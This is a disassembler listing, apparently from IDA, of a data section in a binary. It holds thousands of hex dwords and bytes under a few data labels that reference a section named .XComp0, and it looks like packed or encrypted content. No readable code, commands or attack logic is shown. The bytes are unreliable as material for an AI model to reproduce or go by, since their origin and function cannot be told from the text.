0B4C3771Fh, 68A725A1h, 0B0609E5Ch, 0AB0705h dd 0EACA2BF9h, 31720C20h, 52D19800h, 0C21EDA88h, 0A7181370h dd 0BB4C058Fh, 0BFE80874h, 15FE9D86h, 6982F899h, 0C4419B9h dd 1905F500h, 0F015E7EFh, 0CB24007Fh, 0DE612C6Bh, 84002A80h dd 0E11500Dh, 0FA603Bh, 4073FFCFh, 35594532h db 71h byte_544E45 db 0EEh, 2, 75h ; DATA XREF: .XComp0:004531CCo dd 0D3D2020Ah, 600860ABh, 0B2E2C88h, 3E2D0214h, 0A0C48C59h dd 0E81C1892h, 0A980AEFAh, 96802368h, 3CF74C9Ah, 0C11C3096h dd 0C872B988h, 0AC6AA600h, 65B170B0h, 0D5CCA00Bh, 37530008h dd 0F57AE912h, 19EC4A22h, 0A20A8004h, 18C0D52Fh, 0A6A45F25h dd 0B610E988h, 42749373h, 84BC1225h, 30549F30h, 0F4901B22h dd 809CAB52h, 0FA96AFAAh, 52613CF2h, 3F4B817h, 814A4E58h dd 0DD6083EDh, 4CCD14Ch, 0FF823F8Ch, 0C60068E2h, 630C2943h dd 2C0421E4h, 8FE75DC8h, 7554B2h, 9466D662h, 5F244FB0h dd 0C250A351h, 0B925059h, 0D56488h, 708DFB58h, 77B371D0h dd 909BC902h, 5325DA32h, 425E8860h, 2B40FC2Eh, 572E06h dd 28F18DA7h, 0B7408B89h, 75809707h, 0B34D5ABh, 0CD0FFCB2h dd 0F387AEF8h, 0B79AC2B5h, 0B8A97451h, 0CE294983h, 80EFEBB2h dd 444C382h, 5C24EBD6h, 5C20579Dh, 4A1102h, 0E598DFDDh dd 4870F264h, 1B4498B0h, 0F45B093Eh, 0F00463FCh, 0A2C4B0B8h dd 8ED92145h, 389890D2h, 50489064h, 18A4C479h, 21DBC79Bh dd 0E1C70CEh, 5B81F677h, 7F827873h, 550089BCh, 1B5FAED4h dd 0B83D0CF5h, 9ADB05A1h, 0BCC3E1ABh, 83082DB6h, 0BB41010h dd 1FB83D01h, 3014EAC5h, 0F80C2C4h, 6D1AA25Dh, 0C40078ABh dd 4933C459h, 3F9CA750h, 92CE0E1Dh, 74402904h, 481DC8CCh dd 8911009Fh, 4C0200A7h, 7C0B29C0h, 28111A5Eh, 0E4C1B1ABh dd 88A06CF9h, 17AB807Ch, 857DE85Ah, 0BD94CB00h, 64D15B60h dd 5538252Bh, 0FF376018h, 4DBA2C00h, 83E480FEh, 0D93B3F0Bh dd 0B60C20BCh, 88951FBh, 259FB100h, 95797F52h, 27A32073h dd 77F77B00h, 34E29686h, 33653CF2h, 5CF40A00h, 80A2980Ch dd 3D0DE48h, 629B603Eh, 0E2A3B34Bh, 7FC22029h, 720361BEh dd 528FE34Eh, 0A79AD107h, 6428D475h, 0F5CB0793h, 0FCD83132h dd 0F7C28CCh, 798129h, 4D0576AEh, 0B4A2412h, 0DD560B0Ch dd 0A3AFF882h, 66FD6000h, 8C80136Eh, 0A334D8D0h, 68D2BC34h dd 1FC1249Dh, 2805B711h, 24EC2284h, 63C89281h, 87C04AAAh dd 0D38A708h, 0ED60015Eh, 1541439Fh, 31FB9820h, 0F759751Dh dd 8825108Eh, 8371C7A0h, 2A004881h, 0CB945C27h, 2C98941Bh dd 0B911E8h, 7A789ABFh, 790B7DDh, 0AEE55BD6h, 54A130EBh dd 29035C2Ah, 9873D118h, 0D20BA0EFh, 270E081Dh, 861220BEh dd 14A28484h, 0F61EEE07h, 8C84DB71h, 0CDB49377h, 0A98921DCh dd 3E9A0810h, 26C08158h, 0C02CC43Fh, 66A90509h, 0B810E14h dd 54A63C8Fh, 821A2871h, 46501DFAh, 0F11C1844h, 541ABA8Eh dd 2853D401h, 58B7F9DCh, 9D0A2862h, 429812FAh, 6511B485h dd 0E0098611h, 5F5044E7h, 6C079A8Dh, 0B41CAD05h, 9887C190h dd 0B2609C6Bh, 0C8538C50h, 0CDF42487h, 80C6EFD0h, 3BB51D70h dd 0E58A8061h, 4EBAB693h, 2F098402h, 50B33883h, 49A93CB4h dd 0D800405Fh, 396F4862h, 3546B100h, 3D8C2A31h, 0C05A07EDh dd 14E03B5Fh, 0BB30B07Dh, 91187640h, 8892CF38h, 25576350h dd 0E286009Ch, 0E7025356h, 4DA006Ah, 5249BAE6h, 4CBA9693h dd 0C0F49D2Eh, 5DC0282Eh, 3CAE941h, 0EBFF4B02h, 0C816B3D0h dd 0FD03064Ah, 0C09A0EF5h, 4A689F81h, 1860439Ch, 0E97C8783h dd 19F89B32h, 4C4428h, 84014445h, 678C4ED7h, 0E3ACA700h dd 9715C34Bh, 54EE1253h, 0CC5084EBh, 0FD036580h, 1F9EEC1Dh dd 21795F99h, 0E8081B30h, 390BBE86h, 0CC55Bh, 4AED9935h dd 0CEBC0171h, 0C6633719h, 22FC295Eh, 400E00BBh, 15C520CEh dd 55E04CBDh, 2287A101h, 3E356D1Dh, 8427E077h, 0C059A020h dd 0F07A31Bh, 0B6615B02h, 776DE2E0h, 29181FB2h, 2181C19Ch dd 62872427h, 0FC020B40h, 0F85400CEh, 359DDA8Dh, 13C978F6h dd 2E383098h, 0BA018D31h, 6B47B52Fh, 0C1E9FEA1h, 0B8806838h dd 0C465C690h, 0BCFD303Dh, 2C1C9386h, 0A1C14400h, 5C6F4AC7h dd 0EA3AB49Ah, 2211DF0Bh, 50000864h, 57DC0BB8h, 91FC9DD4h dd 17936078h, 0EA002954h, 2F79C48Eh, 0EF41540h, 2A4D200Ah dd 0F8909D6Bh, 0D8A4A968h, 872B8103h, 899A828Ah, 0D82CE1F6h dd 92D32F12h, 9452A27Ch, 0DD9CF807h, 7402D560h, 40ECE286h dd 0C4D4143Ch, 0E211B738h, 3F930500h, 0A0CCE319h, 0B11F00CDh dd 0F28878C0h, 124C081Eh, 872517D0h, 1C02E431h, 4A848208h dd 0D0A08877h, 6F002A72h, 0CABCA9B9h, 7C48BB8h, 73F98906h dd 0C24B0AFh, 0AC0054FAh, 6038AE18h, 16AA34F1h, 0C09A6545h dd 0E3E9240h, 0B4DC1F29h, 0A0D0C712h, 97CB2684h, 3D585440h dd 7068DA0Bh, 190E4D9h, 18492FDFh, 0DC57FA0Eh, 7A2E7CF2h dd 0D800306Ch, 0D5A0E62Dh dword_545350 dd 0B6201973h, 15806826h, 0B651C470h, 0E6E89822h, 9B21C425h ; DATA XREF: .XComp0:off_45341Co dd 11A4F207h, 0F6001DFAh, 36226173h, 0B6055080h, 0BE260E8Eh dd 0D9E2C05h, 4CC81C12h, 1F677F2Fh, 3EF95CB7h, 5A898ACh dd 825D9AF2h, 80967B1Ch, 0E4004D7Dh, 96A1B753h, 0EDD6F50h dd 0D07EEF3Ah, 82735961h, 1839AE54h, 0A38D2340h, 0CB45005Ch dd 4544BFDh, 90F34EF6h, 80997A68h, 86071E3h, 8894D584h dd 60EF1B60h, 0ED3A00B7h, 283B51CEh, 800EC972h, 72FCDFDAh dd 1EFD8404h, 0C1BAB42h, 4C61D0E2h, 64198F7Dh, 0FD4D8E5Eh dd 348CB91Dh, 88762020h, 9F3AEE1Ah, 133F8928h, 0DD5041A0h dd 0D2005833h, 0D52C56ECh, 5075FA6Ch, 4F3D3C00h, 19E62940h dd 962E2D7h, 90CC3E5Dh, 0D52E10E6h, 8217B321h, 0C830E094h dd 24241F3Eh, 3BBC175h, 0D459F45Fh, 22FCC8FDh, 47EE5D00h dd 4A683C91h, 0BFC41246h, 0D0E08908h, 0EA0AEE1Eh, 0E083620Dh dd 609FAD42h, 4E2504FAh, 0A35C23DFh, 0FED9088h, 80FCC648h dd 2CF0122h, 4440220h, 0AA0C4870h, 1401E466h, 0A08BC47h dd 6420C81Fh, 452C0758h, 508B2A7Fh, 5DFA02E6h, 0F0EF792Eh dd 9F007710h, 0BCC14838h, 2CB893BFh, 0D40B49Ch, 7D52A626h dd 20C95AADh, 41BB5D08h, 9746851Fh, 6755AB80h, 0B0308C7h dd 4DD0846Ch, 1C6A6002h, 8313385Eh, 4B9DBC20h, 25A3005Ch dd 0E80BC8E6h, 451C6669h, 7466A186h, 0A6CB9A04h, 0C008D504h dd 1FBA2B08h, 74FBE52Ch, 0EAB744h, 0D0E3C84Ch, 0C9011A7Dh dd 0FF05D2E5h, 0EFCC3826h, 4C5A033Eh, 575C2578h, 64933924h dd 98AA530Bh, 94FFA8A4h, 0F59E8498h, 5364C821h, 229DA644h dd 0C72E1DFEh, 44A58C69h, 6D660010h, 7C5661F0h, 2916CCF3h dd 3CCF19F8h, 0F4A02200h, 0B3F963D9h, 35C57C00h db 27h byte_545541 db 0A2h, 9Ch, 20h ; DATA XREF: .XComp0:00452D18o dd 23311724h, 7E8637Bh, 250E05A4h, 0A126D4A3h, 8D1881B4h dd 7DFBB2B6h, 6EB400E8h, 58BFCCF7h, 36002F3h, 39DC165Dh dd 0B8D8F6E2h, 10AA74A1h, 9672A290h, 6F282414h, 7C530F97h dd 0B7A214A0h, 4226AA43h, 44227C46h, 2010A4B3h, 7C96FB8Bh dd 1582770Fh, 0FEE5C0D7h, 0C4AE5203h, 0C3A311E8h, 0D10D88A0h dd 6171240Eh, 2B108002h, 94752844h, 5B8E7300h, 46B045FEh dd 0A0481750h, 0FDBC2293h, 0F8854C64h, 9B44AC2Ch, 38207D62h dd 0E605FCh, 0AC60C873h, 0D7FB0231h, 85E04C9Eh, 0A5F103h dd 0D839A3D2h, 0DC3E7159h, 6284C848h, 60221AB1h, 2DF1F2DFh dd 54857880h, 0C0CB1B6h, 0A37CC08Ch, 247EF200h, 0E0907817h dd 0C14765A2h, 3ED8D0ABh, 0C02CCC7Fh, 0A527509Fh, 10E36BD8h dd 1CA2F508h, 0C471CC84h, 0B178181h, 97098C68h, 0C804C8F4h dd 5A57406Ah, 4261E2h, 4DAE37E5h, 0B0D68B9Dh, 7DC51402h dd 59842416h, 890110C8h, 219041B2h, 121E6501h, 2D942029h dd 0EF00F062h, 0C1D0A76Ah, 0E4BAB7A5h, 68F313E5h, 810CD0A2h dd 0B3FA892Ah, 0AB952500h, 1FAF2273h, 740F95E0h, 0F287D1E0h dd 78BBA43Ah, 5C48504Dh, 811D2C0Eh, 105A69B0h, 22F02A5Ch dd 63CC008Eh, 8C1B203Fh, 0D600AADAh, 4BD0B581h, 126C9121h dd 488E6DC7h, 7280BBF4h, 0B2E55905h, 0EDB6001Ch, 0BF41A508h dd 0DB798DF7h, 0A9930B16h, 67429C1Ch, 0C6721F11h, 270844D4h dd 0F02A575h, 3DAFEB80h, 387A28h, 0FF1BDD87h, 2F619A7Fh dd 0A4687C16h, 183B5037h, 6B8FB8h, 188EEC8Ah, 0CD9FE203h dd 9A9B1701h, 25A4B5B9h, 9D82B06Ch, 64D11FE8h, 8F504026h dd 4C768211h, 0EC89260h, 0DB600FCh, 0F4323E95h, 3C0111B9h dd 97FE6581h, 2611BCABh, 0F686107Ah, 5832FB7Ch, 0DAC69283h dd 581E903h, 0A094D853h, 0EEE5152h, 2C28FC0Bh, 88C43ACBh dd 2A413403h, 0B825CC39h, 0AFCDB56h, 71281281h, 0F866256Ch dd 0B061DD24h, 24482F18h, 292C6053h, 10E97497h, 31688430h dd 57AE49h, 17281B33h, 0D8308632h, 565AA60Ah, 0B11020D6h dd 0AC79282h, 691198F9h, 6111284Ch, 3A2B1EABh, 111642ECh dd 861CA408h, 0A948A28Ch, 3187B704h, 0F3857F19h, 11B4C8h dd 8A609259h, 3C86F2F6h, 38F9DE3Ah, 8027DEC7h, 0DBAC9909h dd 0AC2D8014h, 2E04E5EEh, 9C84492Bh, 0D5C0B0ACh, 0BF19ED1Fh dd 3E81AB00h, 6CCFD117h, 4844C09h, 6152009Fh, 70A6F44Ch dd 0A9950200h, 0B72FB9D3h, 4B86187Eh, 9E9B903Eh, 0FAC31E00h dd 9CEE5C65h, 70800B72h, 0CC49A068h, 3A83D28h, 98FA1108h dd 0C673A82Ch, 0CF0C1D05h, 2D88A43Ah, 7A2B44A0h, 0A72D2D6h dd 9E98BF3Dh, 80529ABCh, 38FA1001h, 0CE60217Ah, 9617C2Ah dd 9C68E873h, 423E6051h, 284B9309h, 0D06E5891h, 6F0BC352h dd 89CE19BEh, 7BC18F0h, 1C9800E1h, 8A256F74h, 0DCB6BB8Dh dd 3602E2h, 9C73B29Bh, 0B710FB50h, 4828024h, 62C3B840h dd 0C95F1E03h, 3F678015h, 2518783Ah, 12D1841Ch, 46606AE7h dd 30809F7Ch, 914BC363h, 0B6208013h, 0D63FE8B3h, 98391C00h dd 22A8EB8Bh, 2983B801h, 3E2AFB8Ch, 0BB796C8h, 0A768A45Bh dd 2C216819h, 0F4B67450h, 7030B4AEh, 41A15D0h, 0A4C9A79Ah dd 0BB58C286h, 2D00A051h, 84FEABD4h, 5DB800A6h, 8315A48Fh dd 36613D43h, 0E1CCF62Ch, 0E09C409Fh, 18C8B74Fh, 2A9300C4h dd 5DD0D2CCh, 7A092E67h, 0E48EC022h, 0E84C000Ch, 0EB705556h dd 70033CCh, 5C531DFBh, 27C79761h, 44098F46h, 87BED818h dd 70EBB30Fh, 2FA7C028h, 1D61F398h, 0D7368DEFh, 8414115Fh dd 484D58Bh, 0A58E2121h, 0C040B814h, 0F6E6193Eh, 93F80996h dd 0E0D1DD76h, 0DB414800h, 0BB49A7h, 0F6354A72h, 239338AFh dd 0B4AA1704h, 40824563h, 0A01B2967h, 0E46DD2D0h, 5DB54D00h dd 618D2D5Bh, 0C5320115h, 1DA821B4h, 44770Bh, 8CE468Dh dd 2B67694h, 5B6B2687h, 3460A7D4h, 9D88A886h, 40544850h dd 7B203C41h, 530400F9h, 9CC87714h, 84EA1098h, 0BAF1D401h dd 0A6F596Eh, 45806068h, 6D1E8780h, 7E0C2C03h, 0A06F06BDh dd 90A73E7h, 2811CE78h, 0A54380C4h, 0A3867A01h, 0E0CBC15Ah dd 0AA0F90DFh, 85F8E1B7h, 0D4C8FBD8h, 4266008Eh, 8445041h dd 750D6CE7h, 38C252A3h, 0DC004466h, 3ACCB15Ch, 3B8BFEEh dd 9CE40E73h, 94530202h, 0E156241Eh, 70203E9Ch, 50309D2Bh dd 384BA992h, 0B410C8h, 5EDA76Ch, 0FF6D96D1h, 9B144B02h dd 81B508A5h, 7A4720AEh, 0AD00C033h, 6F82581Bh, 0C09D885h dd 6A1E1193h, 80C4F1F0h, 0C4DD8838h, 0CA489C98h, 2FAA222Ch dd 6C18AD97h, 61127493h, 903008D4h, 1237EBDh, 1D0D5FFh dd 70953414h, 0BE001D80h, 883F653Eh, 2827D229h, 4FBCA718h dd 0F42C2205h, 18469E10h, 183F9A53h, 6F586550h, 293E12FFh dd 1AECA4h, 4DB95299h, 562D3C9Ch, 12A83200h, 3A5CFA74h dd 2C7202E0h, 4F8FE880h, 0A04FA876h, 0B4C99D9h, 2681F814h dd 60D89020h, 1BCA48D8h, 9B0B1203h, 0B7FBABh, 0A0F03B39h dd 0FF285B73h, 6494BB00h, 9F8E24DFh, 9A2E8A3h, 0C0D8BA5h dd 0CE20B494h, 4088B639h, 2E411871h, 220E8509h, 2304E6Bh dd 84BA6FA9h, 16E0305Dh, 0E200F77Ch, 696B3C9Bh, 459F5E5h dd 803114EFh, 8084B879h, 0CC8A72Bh, 58B00083h, 9D1C5593h dd 0B80937DBh, 2976F521h, 61B098C0h, 3CFC77C2h, 7F8F49F8h dd 0E36FD27Ah, 0AD936BA1h, 250684F3h, 0F0B8A287h, 3C841AC1h dd 0F60BD1EBh, 79F94DCh, 0C7397183h, 243DD02Eh, 0CEEF004Fh dd 14E3E4EAh, 5324DF0Ah, 0F58BF4CBh, 27B07190h, 39E04C14h dd 7880E30Eh, 56F64436h, 0F80440E8h, 40AA8424h, 0EBA0028Ch dd 1B920EA3h, 0C2202A81h, 9EC13148h, 9AD2FA12h, 0EC01ACA2h dd 0BE7310DEh, 3D98EC24h, 0CC2C2503h, 0F929F812h, 2068719Ah dd 87E9EE80h, 1BFAAE60h, 769B23Eh, 0D4D78647h, 72A268D2h dd 81CC9960h, 1D6E4A97h, 779E4383h, 40A3AA92h, 9CF850B1h dd 3B0065C3h, 0C1C63CB2h, 9F80EE3h, 79B1291Dh, 62F91418h dd 2AFC751Fh, 6EB0C86Dh, 0A9C71EFAh, 191C090Fh, 410040E4h dd 0C1808160h, 2B8DF36h, 433D509h, 28E6A668h, 5A7A1B43h dd 0C974C848h, 248BBD2Eh, 5C443700h, 247053CCh, 0AF1B16Eh dd 12C07972h, 0A90C8290h, 3C99D620h, 9EE45082h, 40F49E43h dd 0C95CA2E7h, 23AC3B17h, 1F6E64C8h, 0C01D6F90h, 65A06CB0h dd 6D00105Ah, 0E52B0D70h, 0B811FE1h, 805FFC7Bh, 91006CC4h dd 1B76384Eh, 9E48143h, 4AFD670h, 25170C80h, 702218Fh dd 1B593903h, 5A5C400Bh, 0FA9D88A3h, 72601496h, 12B6186h dd 6C453B21h, 6D9A68D7h, 9E281858h, 0B0630739h, 0CF61098Eh dd 0A600C4A2h, 0F1EF4BD7h, 0EB823E16h, 995F1802h, 0FE9D01B7h dd 38286B1Ch, 0F43CB297h, 14E68A65h, 0C316BB02h, 749DC0BEh dd 7F3F4004h, 0B9583A20h, 397A1298h, 97EB4E6h, 0B414813Bh dd 7C574B00h, 0B7395B11h, 0B6268910h, 98B4897Eh, 0D857DCh dd 6FD332E0h, 5AFCDB15h, 0FAFF8804h, 0E48DA88Eh, 8DF8C0h dd 0AA7C15E3h, 45979D56h, 0E1725803h, 74A6BB7Ah, 68324090h dd 3088A95Eh, 7EF61723h, 0AB3807C1h, 0CC732958h, 995A8081h dd 4BECA023h, 29CC1035h, 490E3421h, 0A3848C30h, 95F6005Dh dd 88B9FB0Bh, 3F0666D9h, 15F2271Fh, 0C0B15BE0h, 73AB8A6Ch dd 7517037Ah, 78C8C31Ch dd 80C25839h, 0EFAC9B00h, 0DBCEF676h, 0FE8ADF00h, 7E0E56EBh dd 267876B8h, 1E24A443h, 0BB93028h, 840045B7h, 9B6ED1CEh dd 7096475h, 0D8D2F247h, 0EE789076h, 0F60F1F51h, 49901C8Dh dd 8443Eh, 0C224814Ah, 454DB487h, 0F6DA2C00h, 0E86EB5E2h dd 93F883h, 9BF8DE3Fh, 0FC0B73B6h, 9C805604h, 0F4F21E03h dd 0B15AC22h, 304E9Ah, 43165886h, 18793h, 0C327496Bh, 15F9EE52h dd 50532224h, 6704872Ch, 48C1DFB7h, 0BC707AABh, 56B414F9h dd 0B0BA4E9h, 58D82523h, 0CA40E896h, 0AA02EDh, 818DE86Dh dd 913ED7DEh, 5866BCA2h, 788639h, 5B0BBB92h, 49871244h dd 1B2778E5h, 0C800E8E5h, 0CD1A425Bh, 53D63F1Ch, 0A1DF1718h dd 0B2049B08h, 3E33207Eh, 9A00B8B2h, 0B9D4FC9Dh, 0B100E3A2h dd 75438B4Fh, 9F9B0Ah, 6C418AF3h, 3150D3B7h, 9A021C75h dd 684F5E21h, 9C8C5AA8h, 97424048h, 0FC4C0CB4h, 0B25A1168h dd 73C05448h, 892CA3E0h, 0DCA1D900h, 4B52604Ch, 0EA6503B3h dd 0FC08A66Bh, 0A0F56028h, 0ACE83CB0h, 0B0E8309Fh, 0B5650FD8h dd 46AE06EBh, 0B47E57C4h, 209D295Ch, 511F435Ch, 4655002Fh dd 0BFCEA7Ah, 9B126728h, 70007EC8h, 8660D42Dh, 843E0F63h dd 0C475E22Eh, 763D1D22h, 0DEE8012h, 0A98FC886h, 442898DDh dd 5D5B251Ch, 0FCB88C24h, 8115FD7Ah, 0A5207378h, 33846529h dd 0D2BB5BE6h, 0B6A579F0h, 92009DB8h, 0B5043C12h, 5B94B9h dd 6BB77768h, 0E181BF95h, 9E008048h, 0A0B8CAC0h, 26494AE8h dd 5780A60h, 303DE963h, 1D5C68F4h, 58708700h, 0C97C1159h dd 9DDC13C5h, 0CB8C33FBh, 0B4251022h, 1F720C20h, 9F1D9A36h dd 50377812h, 48E0970Fh, 173C00B1h, 0CBD5B468h, 0BB0F432Bh dd 2B1F607Fh, 191004E2h, 21593C40h, 1891D964h, 5781780h dd 0FAF1AEh, 0C91C5CC4h, 842A772Bh, 3BD87E0Bh, 2C879CDh dd 0BF5D291Bh, 0ED031E60h, 0DAB9CC01h, 0A50B57E7h, 4C81D438h dd 6C94ECD5h, 0D48D1DCFh, 53C0989Ch, 0D01DD981h, 42149C54h dd 3360E5A6h, 910FB4F2h, 0DDF08420h, 0BFAFFCC0h, 259F73h dd 0A752C1B7h, 28180296h, 380180B1h, 335DDEC8h, 5CEAFBE4h dd 360024FDh, 0E480C1Ah, 9CA079D6h, 38580532h, 1F7C72F9h dd 0B45C1EE8h, 0C0244CBCh, 8F61B616h, 0A4500DCh, 75D502D6h dd 77006227h, 15514FBAh, 3A79E434h, 2934A7C5h, 4042A10h dd 980133BDh, 0EC996C07h, 8F3E1010h, 2EB600AAh, 0BDA3078Ch dd 35BA005Ah, 426C39BCh, 20CCA12h, 29AEEC13h, 53A18820h dd 0A5D3F800h, 6FC9825Fh, 0D58F3FBFh, 0C803963Ch, 0CA88BA6Ch dd 569FC6E8h, 0FA7A10ECh, 0AD182300h, 80079808h, 702B0014h dd 0E12AC09Fh, 8D006BB6h, 89091268h, 7593243Ah, 8AE50F7Eh dd 76002A50h, 9D141F52h, 8AF64Ch, 0CD6E7B99h, 758A4E29h dd 411A0037h, 6B9CFC22h, 9B006A19h, 818F1BE1h, 0E3FF93h dd 4BD0E803h, 7BAB68Eh, 9C5FCF03h, 0B6D41EA4h, 9EF20F28h dd 66825833h, 78605130h, 0C72EAD02h, 9500ADF5h, 4D059209h dd 0CD8B00C3h, 0A758B291h, 7A0031AEh, 605BAF19h, 3938543h dd 0A4385D13h, 17E8619Ah, 490A6662h, 0C82C90BAh, 0BFF90639h dd 403A15h, 21FAE4F8h, 191332C6h, 14ECE09Dh, 0EC77D0h dd 4874F685h, 39EF2F27h, 361A3701h, 0A3910456h, 6D07F1DBh dd 247916E8h, 0E81AAB7h, 3A80E3ACh, 97236594h, 0A2008CFEh dd 0A04A507Ah, 92BE69h, 5864959Dh, 74FE6E94h, 885A701h dd 6F8303Bh, 39835FC4h, 0EA870998h, 31518C53h, 0EC0C7FA3h dd 4400128Ah, 7118E3FBh, 15CF5Bh, 0FCA95B4h, 1C55751Ah dd 0EA9E1100h, 0DF716435h, 34D600DDh, 0E248B9Ah, 0C800BF4Ch dd 3ACAB963h, 0E93D3FAh, 581E11BDh, 25030C0h, 9C075D61h dd 0ADC34281h, 2A23D4C0h, 12100E5h, 0B76B0B2h, 481CD20Dh dd 7D9E75BFh, 0A234B744h, 0BC9734C0h, 89B40FF6h, 4BA221AFh dd 0BA40FA01h, 0F0051B88h, 85F7F1CEh, 9D81BA00h, 0EA53ABh dd 0CD4CC3D3h, 46BCC40Ch, 0C90EE600h, 0B25036E3h, 0F1DF0149h dd 0C734653Bh, 59A6085h, 0AFC52728h, 1FB40D48h, 3B63C6h dd 38B30FD5h, 0F5ECF3Eh, 0AD06D3E7h, 80CA3CA4h, 6CF6B614h dd 0E0581C00h, 0C8517045h, 77E9EEBDh, 183A60D7h, 0F11B87A8h dd 90B448h, 6034C378h, 0A63054h, 4B11EA0Fh, 90D59AB1h dd 43004FF8h, 47146405h, 0FF27B29h, 0C3A89C8Eh, 0F384BFA0h dd 6400180Ch, 300F1FEEh, 0A8D35h, 0D28A52A9h, 0A3ED1336h dd 96F87800h, 0B7412A90h, 0E19C0B30h, 2087BBC6h, 606D4780h dd 0A8E72E8Fh, 8D757800h, 0C14D5A28h, 0C9961F94h, 3BC4857Dh dd 0BE88401Dh, 4A5BE0FBh, 832A8700h, 3FD6E7B4h, 0C59E00EBh dd 0D3E2B586h, 0EE000E98h, 0E8B16467h, 9B81Dh, 9E931590h dd 70A208FFh, 8E1A83Fh, 9AA9E2h, 613C5A30h, 0D000924Fh dd 0A0B09312h, 34ACA6h, 0F7E6FF77h, 54E0029Bh, 0F81D360Bh dd 644D805Fh, 0EFA3952h, 4592F9CDh, 81384460h, 0B032C17h dd 0E0B0ACA9h, 9995F8C4h, 0BF520EA6h, 2D43921Eh, 0B1909FAEh dd 8128CAF7h, 8008025h, 0BFE2E794h, 1E1A035h, 0F780263Bh dd 0E882CE91h, 0BB71C7A8h, 0B25FC0F7h, 0EEC14201h, 0CC4AFADFh dd 0C799E0h, 299F39A3h, 2293AC91h, 0CBBB6C06h, 0E7081C8h dd 0D5D1AF4Ch, 8C1097ACh, 38D920F7h, 3609B574h, 802A5F07h dd 0EEB7472Ch, 0B8AF3ACDh, 8281007Dh, 61C827E3h, 0EC0F3C0Eh dd 40CD5A68h, 0D69CA3Fh, 0C57D0057h, 0A645DAF1h, 10009AC6h dd 565DE796h, 6A74B8h, 39FBEA0Ah, 8A322D03h, 207E3798h dd 0AB22E605h, 17C721E1h, 3EDA7380h, 513F0083h, 312FFBD5h dd 2A00F96Ch, 237C8512h, 4A6BCFh, 0AB5A48B2h, 30E609BDh dd 315B2507h, 6460EAE2h, 48733A56h, 0DF00883Bh, 63AEA6BCh dd 89265BD0h, 8501FC60h, 8FE26F58h, 0FA2AE8h, 1FAEA477h dd 9DBB3EEDh, 4519401Fh, 4B807C2Ch, 0B2707C82h, 5887F0DDh dd 4C003283h, 5935D2F0h, 0AC9839EAh, 58ABF00h, 24345747h dd 0B78C001Dh, 624F3D2Ah, 0D498AE3Ch, 88FC2300h, 0C38001B3h dd 0A01400DCh, 4B046D97h, 3F980A18h, 5AF60DFCh, 0E4F92E00h dd 727FFED7h, 91646012h, 461475FBh, 0C74D8C00h, 31C6AEAFh dd 900E0435h, 0C025F1C1h, 0C0BB5C15h, 981A1002h, 0C08E70CFh dd 0F822BCB6h, 5C8F0059h, 4C5D23AFh, 7400F19Ah, 5140CBD6h dd 3FAD7557h, 89FA4B2h, 185D80C6h, 2D2701BBh, 9B226700h dd 7BACD145h, 2FF008Bh, 0B8E1529Dh, 2618D578h, 46D003C0h dd 0DC4D00C6h, 5720CB0Dh, 3B008E0Eh, 3E963564h, 71D7DE51h dd 0CAF20047h, 0C0F0F807h, 0FC3042EDh, 2FF9D3AAh, 597B70h dd 8D77DF5Ah, 0C356F0DDh, 13CEA20Fh, 0E298E188h, 3430D4D1h dd 9A1C2E34h, 26E50054h, 7A885860h, 9F494228h, 8E4A7600h dd 0EBB76F01h, 51651D35h, 140FC0D0h, 117DD3E5h, 8EE3D538h dd 2CD2E601h, 101012h, 0C6ECD756h, 3B70AEA9h, 7B75CE00h dd 19DEE695h, 0C790001Ah, 0E0B46D68h, 0B9482BD1h, 0F127560h dd 480026ECh, 0B7EFE9F1h, 920E0084h, 4A049B53h, 6900CF44h dd 0D102167Ah, 1379B1F1h, 78C5AFh, 6E88C1F2h, 0AB72DE09h dd 0EA1FC4A0h, 5F5B361Fh, 25D8240h, 833D48h, 1B38D252h dd 7D3AA8DEh, 0AE686003h, 0E0A02Ch, 14C0F938h, 0FBAC9E55h dd 0D06DC20Fh, 0C0252FFDh, 0AD84C52h, 5C6202B0h, 2FCFA843h dd 0C97EB040h dd 7BBAE512h, 0E93E8E00h, 0B0F030E1h, 0A795057Ch, 800A7CCAh dd 6D52D4E4h, 0ED287A60h, 0EC0E1FDCh, 28F0004Eh, 0D4E85B1Eh dd 0A15CD35Fh, 413B0188h, 582C36C9h, 2F20DC21h, 5D3300C5h dd 4B5A9847h, 440B1F5Eh, 807ED609h, 1BDEECEDh, 336F3F20h dd 0D175A280h, 0F58FD059h, 0D23CE41Eh, 0C91BBFC0h, 3F65BCF7h dd 3D0056B8h, 2615D392h, 9D003F04h, 8ADEC6A3h, 5B75382h dd 0B0BC1A06h, 0DAC8093h, 0A9008644h, 187D6DCAh, 9B1BD36h dd 0F134B3A0h, 803C0D07h, 208C57BAh, 12CC971Dh, 7E80EC00h dd 0C5B9EEh, 0E4F1A296h, 0DB0FE1Dh, 9C1C9D00h, 0AEB265B7h dd 2EB61F34h, 10C14002h, 0E5EAA5B1h, 9E7ACC00h, 4E16D904h dd 0DFFE0059h, 5F0D4605h, 50003961h, 0A3C18680h, 3F07CB6Fh dd 0C33CB414h, 0E8CF7314h, 6372B205h, 0E6F500ECh, 3DC962C1h dd 9A192500h, 4244A5E1h, 4680012Fh, 0EB5D8E9Bh, 0CC793004h dd 0A7661501h, 23B60FE2h, 0EB5C3C4h, 845FAAF2h, 0F51843A0h dd 0D503A070h, 0CF5EE230h, 5849883Bh, 0CD10C08Dh, 0D4C3239h dd 506D9600h, 0CC668508h, 4D010324h, 677056D3h, 0DEF207B0h dd 227B80C0h, 0A51E91h, 0EE0A9E3Fh, 0F4B24FB0h, 80ABBF3Eh dd 8672C711h, 57E302h, 4CEEFAA0h, 4FEC1AAEh, 4EF0A850h dd 8AEF7400h, 0E0F5B83Eh, 99E4E1h, 622887DAh, 0BE7AB725h dd 3DF76500h, 60B1277Ch, 0CA7800B5h, 83314C38h, 743B858Eh dd 364587C6h, 71238B88h, 849F1C3h, 1639630h, 1BBC4F5Ah dd 60808240h, 11DFA71Dh, 89ABF460h, 0CCD6E1A2h, 921E27B5h dd 9E407708h, 6A49FE8h, 0C6CF0082h, 48BDD520h, 0E3001714h dd 456A5CFAh, 3DE49EA0h, 0B62F4694h, 4030C7Eh, 0B0373A34h dd 732AEACFh, 78CEF6DBh, 35CA00E4h, 3DED500Ah, 3E1FEBE0h dd 4380F9EEh, 93D99D41h, 1248151Fh, 440E94A3h, 0BC80CF2Ch dd 2DB2C586h, 29C15D30h, 18C0D79Eh, 0C8520E9Dh, 0E001D1C9h dd 80AA4202h, 0F894CA77h, 0C7802876h, 0BC46F22Bh, 42295200h dd 0D59BD397h, 0C6014CBFh, 0B7FE3E7Ch, 185A3A80h, 0F2FB323h dd 1EDE5C3Dh, 